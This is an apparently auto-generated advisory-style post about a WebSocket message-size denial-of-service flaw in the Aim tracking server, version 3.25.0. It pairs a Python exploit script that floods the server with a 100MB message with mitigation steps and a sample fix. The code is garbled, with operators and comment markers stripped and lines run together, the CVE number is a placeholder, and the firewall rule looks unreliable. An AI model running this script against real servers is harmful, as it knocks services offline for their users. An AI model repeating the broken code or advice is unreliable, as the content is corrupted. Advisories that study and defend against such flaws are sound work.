How the CVE Works:
The vulnerability (CVE-2025-XXXX) in Aim version 3.25.0 stems from improper handling of WebSocket message size limits. The tracking server fails to enforce a maximum size restriction for WebSocket messages, allowing attackers to send excessively large images for tracking. When the server processes these oversized images, it consumes significant computational resources, rendering the server unresponsive to legitimate requests. This uncontrolled resource consumption leads to a denial of service (DoS) condition, disrupting the availability of the service.
DailyCVE Form:
Platform: Aim (aimhubio/aim)
Version: 3.25.0
Vulnerability: Uncontrolled Resource Consumption
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code (Python):
import websockets import asyncio async def exploit(): uri = "ws://target-aim-server:53800" large_image = b"\x00" (1024 1024 100) 100MB image async with websockets.connect(uri) as websocket: await websocket.send(large_image) asyncio.get_event_loop().run_until_complete(exploit())
2. Exploit Command:
- Use the above script to send large WebSocket messages to the Aim server.
- Monitor server response to confirm DoS condition.
Protection:
1. Patch Application:
- Upgrade to Aim version 3.26.0 or later, where the WebSocket message size limit is enforced.
2. Mitigation Steps:
- Implement a WebSocket message size limit on the server-side.
- Use rate-limiting to prevent abuse of the tracking feature.
3. Server-Side Code Fix:
from websockets import WebSocketServerProtocol async def handle_websocket(websocket: WebSocketServerProtocol, path): max_size = 10 1024 1024 10MB limit message = await websocket.recv() if len(message) > max_size: await websocket.close(code=1009, reason="Message too large") else: Process message pass
4. Configuration:
- Set `max_size` in WebSocket server configuration to restrict message size.
5. Monitoring:
- Use tools like `netstat` or `htop` to monitor server resource usage.
- Implement logging to detect oversized WebSocket messages.
6. Firewall Rules:
- Block suspicious IPs sending large payloads repeatedly.
- Example command:
iptables -A INPUT -p tcp --dport 53800 -m length --length 1000000: -j DROP
7. Testing:
- Use tools like `websocat` to simulate large WebSocket messages and test server resilience.
By following these steps, you can exploit and protect against CVE-2025-XXXX effectively.
References:
Reported By: https://github.com/advisories/GHSA-j5qj-rg5j-j7c2
Extra Source Hub:
Undercode
